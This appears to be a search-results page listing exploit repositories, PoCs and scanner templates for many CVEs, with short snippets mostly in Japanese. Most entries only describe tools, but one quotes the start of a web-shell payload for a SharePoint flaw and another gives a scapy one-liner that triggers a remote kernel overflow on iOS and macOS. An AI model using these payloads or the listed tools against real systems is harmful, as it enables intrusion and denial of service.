44547 matches found
CVE-2020-1971
CVE-2020-1971 CVE-2020-1971 自動スキャン & リモートエクスプロイトスクリプト。自動ローカルスキャン＆パッチスクリプト。 現在開発中 OpenSSL 1.1.1i のパッチ適用済みソースコード ソースからのインストール/更新 .deb スクリプト 現在開発中 午後5:38 完了 午後5:50 ソースからのインストール/更新 Windows 現在開発中 午後6:06 完了 午後6:40 自己解凍型 EXE ダウンロードはこちら: 32-bit/64-bit 脆弱性の自動スキャン/リモートエクスプロイトスクリプト ローカル...
CVE-2024-25897
パラメータ ip、puerto、ruta エクスプロイトの出力 ヘルプパネル エクスプロイトの説明 コードの説明をMarkdownで以下に示します。 コードの説明 このスクリプトは、Jenkins（CVE-2024-23897）の特定の脆弱性を悪用するために設計されています。JenkinsサーバーからJARファイルをダウンロードし、Jenkinsノードに接続するためのペイロードを実行します。以下、コードの各部分を説明します。 モジュールのインポート import argparse import requests import os import subprocess import sys...
CVE-2019-0604
一、k8gegeのcve-2019-0604-exp.pyを解説 k8gegeのスクリプト https://github.com/k8gege/CVE-2019-0604 正直言って、k8gegeのpyスクリプトは少し派手で、大量の16進数文字列があり、payload1,2,3に分かれています。悪質ですね。 pythonスクリプトがリモートPOSTするpayloadは、逆シリアル化後にXMLデータボディになります。 cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";var uastr=Request.UserAgent;i...
CVE-2024-3273
D-Link NAS コマンド実行エクスプロイト このPythonスクリプトは、D-Link NASデバイスの脆弱性（CVE-2024-3273）を悪用し、任意のコマンド実行を可能にします。この脆弱性を利用して、影響を受けるデバイス上でリモートからコマンドを実行します。 特徴 D-Link NASデバイス上で任意のコマンドを実行します。 単一ホストおよびファイルからの複数ホストに対応。 効率向上のためのコマンドの並行実行。 並行実行のスレッド数を指定可能。 実行するカスタムコマンドを指定可能（デフォルト: id）。 脆弱なホストと応答を容易に識別するための色付き出力。 必要条件 Pyth...
CVE-2019-11580
CVE-2019-11580 リモートで脆弱性を悪用するためのCVE-2019-11580シェル。...
CVE-2017-12615-EXP
CVE-2017-12615-EXP .\CVE-2017-12615.exe @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@@@ @@@ @@@@@@ @@@@@ @@@ @@@@@@@ !@@ @@! @@@ @@! @@ @@@ @@! @@@ @@@@ @@! @@@@ @@ @@@ @@!@ @@@@ !@@ !@! @!@ !@! @!!!:! @!@!@!@! .!!@! @!@ !@! !@! @!! @!@!@!@! !@! .!!@! @!@!@!@ !@! !!@@!! :!! !: .:! !!: !!: !!:...
vmacache_CVE-2018-17182
エクスプロイト リモート & ローカル エクスプロイト...
cookbook-bash-CVE-2014-6271
bash-CVE-2014-6271 Cookbook 此 Chef cookbook 包含一个默认 recipe，如果发现 bash 且该 bash 存在 CVE-2014-6271 中描述的远程利用漏洞，它将使你的 Chef 运行失败。查找 bash 的位置可在 node'bash-CVE-2014-6271''bashes' 属性中配置（见下文）。 系统要求 应适用于任何 UNIX/Linux。如有问题请报告（最好附上补丁）。 属性 node'bash-CVE-2014-6271''bashes' - 一个必需的数组，包含待检测漏洞的可能 bash 可执行文件。默认为...
CVE-2017-7269
CVE-2017-7269 iis6 エクスプロイト 2017...
PhoneSploit-Pro
PhoneSploit Pro Android向けのスイスアーミーナイフ。 Pythonで書かれたオールインワンのハッキングツールで、ADB、scrcpy、Nmap、Metasploit-Frameworkを使用してAndroidデバイスをリモートで乗っ取ります。 目次 概要 スクリーンショット 機能 要件 依存関係のインストール はじめに デバイス設定チュートリアル 互換性 ツールの手動インストール 免責事項 開発者 サポート 概要 デバイスを掌握せよ。あらゆる重要な方法で。...
ComoDoS
技術詳細 参照: https://malwaretech.com/2026/06/exploiting-a-remote-kernel-vulnerability-in-comodo-internet-security.html...
CVE-2019-2725
CVE-2019-2725 バイパス ヒント python3 で記述、ペイロードはこちら そのペイロードは jdk6 でのみ動作します エクスプロイト 使い方: exp.py 127.0.0.1:8080 whoami PoC ip.txt を編集後、プログラムは ip.txt 内の IP を確認し、脆弱性が存在するかどうかをテストします：...
CVE-2020-0796
CVE-2020-0796 リモートオーバーフロー PoC CVE-2020-0796 / "SMBGhost" をチェックする PoC 使用方法 Python がインストールされていることを確認し、cve-2020-0796.py を実行してください。...
Cobbler 'XML-RPC' - Authentication Bypass
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.getsharedsecret always returns -1, which allows anyone to connect to cobbler...
PHPGurukul Hospital Management System 4.0 - SQL Injection
PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\user-login.php. Remote unauthenticated users can exploit the vulnerability to obtain sensitive database information. id: CVE-2020-22165 info: name: PHPGurukul Hospital Management System 4.0 - SQL Injection...
Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass
Kimai Docker images = 2.58.0 which generates a random APPSECRET on first boot. Alternatively, manually set a unique APPSECRET in your .env.local file. reference: - https://github.com/advisories/GHSA-jr9p-4h4j-6c58 - https://github.com/kimai/kimai/releases/tag/2.58.0 classification: cve-id:...
Cable-modems
WiFi対応ISPモデムの分析 概要 SEARCH-LAB Ltdは、世界中の多くのインターネットサービスプロバイダーで使用されている5つのホームゲートウェイモデルを評価しました。実際のデバイスは、ハンガリーのケーブルTV事業者の1つであるUPC Magyarország（https://www.upc.hu/）によって運用されていました。分析は、市販されているデバイスと、ISPのネットワーク自動ファームウェア更新メカニズムから取得した公開済みファームウェアイメージに対して実行されました。 私たちは2015年6月にUbee...
node-cve-2018-4407
node-cve-2018-4407 CVE-2018-4407 用の Node.js PoC エクスプロイトコード 著者: Sam Decrock このスクリプトは Zuk が提供した scapy スクリプトに基づいています。 iOS 12 / OS X Remote Kernel Heap Overflow CVE-2018-4407 POC をツイートで: pip install scapy sudo scapy sendIPdst=“Target IP“,options=IPOption“A”8/TCPdport=2323,options=19, “1"18,19, “2”18 ...